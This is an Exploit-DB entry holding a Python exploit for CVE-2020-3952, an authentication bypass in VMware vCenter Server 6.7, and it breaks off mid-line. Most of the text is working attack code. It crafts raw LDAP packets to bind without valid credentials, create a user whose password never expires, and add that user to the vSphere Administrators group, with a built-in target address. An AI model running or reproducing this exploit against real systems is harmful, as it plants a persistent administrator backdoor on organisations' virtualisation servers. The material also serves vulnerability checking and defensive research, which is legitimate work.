Exploit-DB #48535
Description: VMware vCenter Server 6.7 - Authentication Bypass
Type: webapps
Platform: multiple
Date: 2020-06-01
Author: Photubias

Exploit:
# Exploit Title: VMware vCenter Server 6.7 - Authentication Bypass
# Date: 2020-06-01
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2020-0006.html
# Version: vCenter Server 6.7 before update 3f
# Tested on: vCenter Server Appliance 6.7 RTM (updated from v6.0)
# CVE: CVE-2020-3952

#!/usr/bin/env python3

'''
	Copyright 2020 Photubias(c)        
        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
        
        Based (and reverse engineerd from): https://github.com/guardicore/vmware_vcenter_cve_2020_3952
        
        File name CVE-2020-3592.py
        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
        
        ## Vulnerable setup (requirements): vCenter Server 6.7 that was upgraded from 6.x
        
        This is a native implementation without requirements, written in Python 3.
        Works equally well on Windows as Linux (as MacOS, probably ;-)

        Features: exploit + vulnerability checker
'''

import binascii, socket, sys, string, random

## Default vars; change at will
_sIP = '192.168.50.35'
_iPORT = 389
_iTIMEOUT = 5

def randomString(iStringLength=8):
    #sLetters = string.ascii_lowercase
    sLetters = string.ascii_letters
    return ''.join(random.choice(sLetters) for i in range(iStringLength))

def getLengthPrefix(sData, sPrefix, hexBytes=1): ## sData is hexlified
    ## This will calculate the length of the string, and verify if an additional '81' or '82' prefix is needed
    sReturn = sPrefix
    if (len(sData) / 2 ) > 255:
        sReturn  += b'82'
        hexBytes = 2
    elif (len(sData) /2 ) >= 128:
        sReturn += b'81'
    sReturn += f"{int(len(sData)/2):#0{(hexBytes*2)+2}x}"[2:].encode()
    return sReturn

def buildBindRequestPacket(sUser, sPass):
    sUser = binascii.hexlify(sUser.encode())
    sPass = binascii.hexlify(sPass.encode())
    ## Packet Construction
    sPacket = getLengthPrefix(sPass, b'80') + sPass
    sPacket = getLengthPrefix(sUser, b'04') + sUser + sPacket
    sPacket = b'020103' + sPacket
    sPacket = getLengthPrefix(sPacket, b'60') + sPacket
    sPacket = b'020101' + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    #print(sPacket)
    return binascii.unhexlify(sPacket)    

def buildUserCreatePacket(sUser, sPass):
    sUser = binascii.hexlify(sUser.encode())
    sPass = binascii.hexlify(sPass.encode())
    def createAttribute(sName, sValue):
        sValue = getLengthPrefix(sValue, b'04') + sValue
        sName = getLengthPrefix(sName, b'04') + sName
        
        sReturn = getLengthPrefix(sValue, b'31') + sValue
        sReturn = sName + sReturn
        sReturn = getLengthPrefix(sReturn, b'30') + sReturn
        return sReturn
    
    def createObjectClass():
        sReturn = getLengthPrefix(binascii.hexlify(b'top'), b'04') + binascii.hexlify(b'top')
        sReturn += getLengthPrefix(binascii.hexlify(b'person'), b'04') + binascii.hexlify(b'person')
        sReturn += getLengthPrefix(binascii.hexlify(b'organizationalPerson'), b'04') + binascii.hexlify(b'organizationalPerson')
        sReturn += getLengthPrefix(binascii.hexlify(b'user'), b'04') + binascii.hexlify(b'user')
        
        sReturn = getLengthPrefix(sReturn, b'31') + sReturn
        sReturn = getLengthPrefix(binascii.hexlify(b'objectClass'), b'04') + binascii.hexlify(b'objectClass') + sReturn
        sReturn = getLengthPrefix(sReturn, b'30') + sReturn
        return sReturn
    
    ## Attributes
    sAttributes = createAttribute(binascii.hexlify(b'vmwPasswordNeverExpires'), binascii.hexlify(b'True'))
    sAttributes += createAttribute(binascii.hexlify(b'userPrincipalName'), sUser + binascii.hexlify(b'@VSPHERE.LOCAL'))
    sAttributes += createAttribute(binascii.hexlify(b'sAMAccountName'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'givenName'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'sn'), binascii.hexlify(b'vsphere.local'))
    sAttributes += createAttribute(binascii.hexlify(b'cn'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'uid'), sUser)
    sAttributes += createObjectClass()
    sAttributes += createAttribute(binascii.hexlify(b'userPassword'), sPass)
    ## CN
    sCN = binascii.hexlify(b'cn=') + sUser + binascii.hexlify(b',cn=Users,dc=vsphere,dc=local')
    sUserEntry = getLengthPrefix(sCN, b'04') + sCN
    
    ## Packet Assembly (bottom up)
    sPacket = getLengthPrefix(sAttributes, b'30') + sAttributes
    sPacket = sUserEntry + sPacket
    sPacket = getLengthPrefix(sPacket, b'02010268', 2) + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    #print(sPacket)
    return binascii.unhexlify(sPacket)

def buildModifyUserPacket(sUser):
    sFQDN = binascii.hexlify(('cn=' + sUser + ',cn=Users,dc=vsphere,dc=local').encode())
    sCN = binascii.hexlify(b'cn=Administrators,cn=Builtin,dc=vsphere,dc=local')
    sMember = binascii.hexlify(b'member')
    ## Packet Construction
    sPacket = getLengthPrefix(sFQDN, b'04') + sFQDN
    sPacket = getLengthPrefix(sPacket, b'31') + sPacket
    sPacket = getLengthPrefix(sMember, b'04') + sMember + sPacket
    sPacket = getLengthPrefix(sPacket, b'0a010030') + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') +